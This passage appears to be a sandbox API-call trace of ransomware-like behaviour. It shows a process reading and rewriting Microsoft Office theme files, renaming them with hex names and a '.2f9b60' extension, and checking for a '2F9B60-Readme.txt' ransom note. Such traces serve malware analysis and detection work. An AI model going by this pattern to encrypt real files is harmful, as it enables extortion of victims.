0x1ce59900 [0088.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0088.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a000 [0088.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a000) returned 1 [0088.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.356] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x246ef5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x246ef5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.364] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x52800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.364] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x246ef5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x246ef5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.367] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x52800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a060 [0088.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a060) returned 1 [0088.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce59900 [0088.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a060 [0088.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d60 [0088.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d60) returned 1 [0088.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.368] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x246ef5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x246ef5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.378] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x9c303, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.378] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x246ef5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x246ef5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.381] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x9c303, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d60 [0088.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d60) returned 1 [0088.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce59900 [0088.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d60 [0088.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d90 [0088.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d90) returned 1 [0088.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.382] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x246ef5e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x246ef5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f00 [0088.395] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.395] WriteFile (in: hFile=0xa3c, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x246ef690, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x246ef690*=0x14e, lpOverlapped=0x0) returned 1 [0088.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d60 [0088.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d60) returned 1 [0088.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b859d60 [0088.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d90 [0088.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d00 [0088.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d00) returned 1 [0088.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97350 [0088.400] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="66") returned 2 [0088.400] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="0b") returned 2 [0088.400] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="9f") returned 2 [0088.400] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="e7") returned 2 [0088.400] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="99") returned 2 [0088.400] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="d5") returned 2 [0088.400] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="14") returned 2 [0088.401] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="d3") returned 2 [0088.401] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="60") returned 2 [0088.401] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="ac") returned 2 [0088.401] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="8f") returned 2 [0088.401] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="ab") returned 2 [0088.401] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="0f") returned 2 [0088.401] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="37") returned 2 [0088.401] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="d7") returned 2 [0088.401] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="0c") returned 2 [0088.401] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="bf") returned 2 [0088.401] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="36") returned 2 [0088.401] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="9f") returned 2 [0088.401] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="12") returned 2 [0088.401] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="e0") returned 2 [0088.401] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="e2") returned 2 [0088.401] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="41") returned 2 [0088.401] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="6d") returned 2 [0088.401] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="92") returned 2 [0088.401] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="1c") returned 2 [0088.401] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="0d") returned 2 [0088.401] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="76") returned 2 [0088.401] RtlInitAnsiString (in: DestinationString=0x246ef708, SourceString="660b9fe799d514d360ac8fab0f37d70cbf369f12e0e2416d921c0d76" | out: DestinationString="660b9fe799d514d360ac8fab0f37d70cbf369f12e0e2416d921c0d76") [0088.401] RtlAnsiStringToUnicodeString (in: DestinationString=0x246ef6d8, SourceString="660b9fe799d514d360ac8fab0f37d70cbf369f12e0e2416d921c0d76", AllocateDestinationString=1 | out: DestinationString="660b9fe799d514d360ac8fab0f37d70cbf369f12e0e2416d921c0d76") returned 0x0 [0088.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79e070 [0088.402] wcscat (in: _Dest=0x1b7ad2a0, _Source="660b9fe799d514" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\660b9fe799d514") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\660b9fe799d514" [0088.402] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\660b9fe799d514.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\660b9fe799d514.2f9b60" [0088.402] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\660b9fe799d514.2f9b60", NtPathName=0x246ef6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\660b9fe799d514.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106e80 [0088.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.406] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x246ef718, FileInformation=0x246ef728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x246ef718, FileInformation=0x246ef728) returned 0x0 [0088.406] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x246ef718, FileInformation=0x246ef728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.408] FlushFileBuffers (hFile=0xa3c) returned 1 [0088.410] CloseHandle (hObject=0xa3c) returned 1 [0088.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.411] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.411] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784640) returned 1 Thread: id = 329 os_tid = 0xe54 [0088.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx")) returned 0x20 [0088.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx", dwFileAttributes=0x20) returned 1 [0088.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa40 [0088.379] GetFileSizeEx (in: hFile=0xa40, lpFileSize=0x2477f760 | out: lpFileSize=0x2477f760*=101393) returned 1 [0088.379] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x18c0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.379] ReadFile (in: hFile=0xa40, lpBuffer=0x2477f6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2477f728, lpOverlapped=0x0 | out: lpBuffer=0x2477f6e0*, lpNumberOfBytesRead=0x2477f728*=0x4, lpOverlapped=0x0) returned 1 [0088.382] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d90 [0088.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e20 [0088.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d00 [0088.382] NtQuerySystemTime (in: CurrentTime=0x2477f620 | out: CurrentTime=0x2477f620*=132462176942470000) returned 0x0 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x89add59 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x44b8ecf1 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x676ea2c2 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x5f8ef2b5 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x3d3adc0d [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x2e9c02b9 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x1e86a254 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x7db6c4c2 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x695a483 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x4e851394 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x4c76ea6b [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x1b1aa4fe [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x39a8d561 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x7df26b75 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x3ae40892 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x14dda8fd [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x3d15de9e [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x7220fee9 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x29ab97a8 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x144d3e1c [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x37b53687 [0088.383] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x3046bb2f [0088.384] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x5a8895d7 [0088.384] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x732862ec [0088.384] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x2de1a938 [0088.384] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x7a57951b [0088.384] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x3907cebb [0088.384] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x34936a28 [0088.384] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x17997e29 [0088.384] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x15422a3e [0088.384] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x2075eebc [0088.384] RtlRandomEx (in: Seed=0x2477f610 | out: Seed=0x2477f610) returned 0x71c2a400 [0088.393] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.393] ReadFile (in: hFile=0xa40, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2477f680, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x2477f680*=0x3c00, lpOverlapped=0x0) returned 1 [0088.397] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a060 [0088.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a060) returned 1 [0088.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce59900 [0088.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a060 [0088.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d60 [0088.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d60) returned 1 [0088.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.397] WriteFile (in: hFile=0xa40, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2477f680, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x2477f680*=0x3c00, lpOverlapped=0x0) returned 1 [0088.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.409] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.409] ReadFile (in: hFile=0xa40, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2477f680, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x2477f680*=0x3c00, lpOverlapped=0x0) returned 1 [0088.413] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a090 [0088.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a090) returned 1 [0088.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce59900 [0088.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a090 [0088.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0088.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d30) returned 1 [0088.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.414] WriteFile (in: hFile=0xa40, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2477f680, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x2477f680*=0x3c00, lpOverlapped=0x0) returned 1 [0088.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.415] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x15011, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.415] ReadFile (in: hFile=0xa40, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2477f680, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x2477f680*=0x3c00, lpOverlapped=0x0) returned 1 [0088.415] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x15011, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0088.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d30) returned 1 [0088.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce59900 [0088.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0088.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0088.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859eb0) returned 1 [0088.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.416] WriteFile (in: hFile=0xa40, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2477f680, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x2477f680*=0x3c00, lpOverlapped=0x0) returned 1 [0088.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f00 [0088.420] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.420] WriteFile (in: hFile=0xa40, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2477f730, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2477f730*=0x146, lpOverlapped=0x0) returned 1 [0088.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0088.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859eb0) returned 1 [0088.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0088.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0088.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0088.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ee0) returned 1 [0088.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f970 [0088.422] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="7f") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="8b") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="60") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="0f") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="6c") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="bf") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="6a") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="22") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="8a") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="02") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="e9") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="fc") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="13") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="65") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="d4") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="1e") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="2e") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="22") returned 2 [0088.422] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="dc") returned 2 [0088.423] sprintf (in: _Dest=0x1cd9f996, 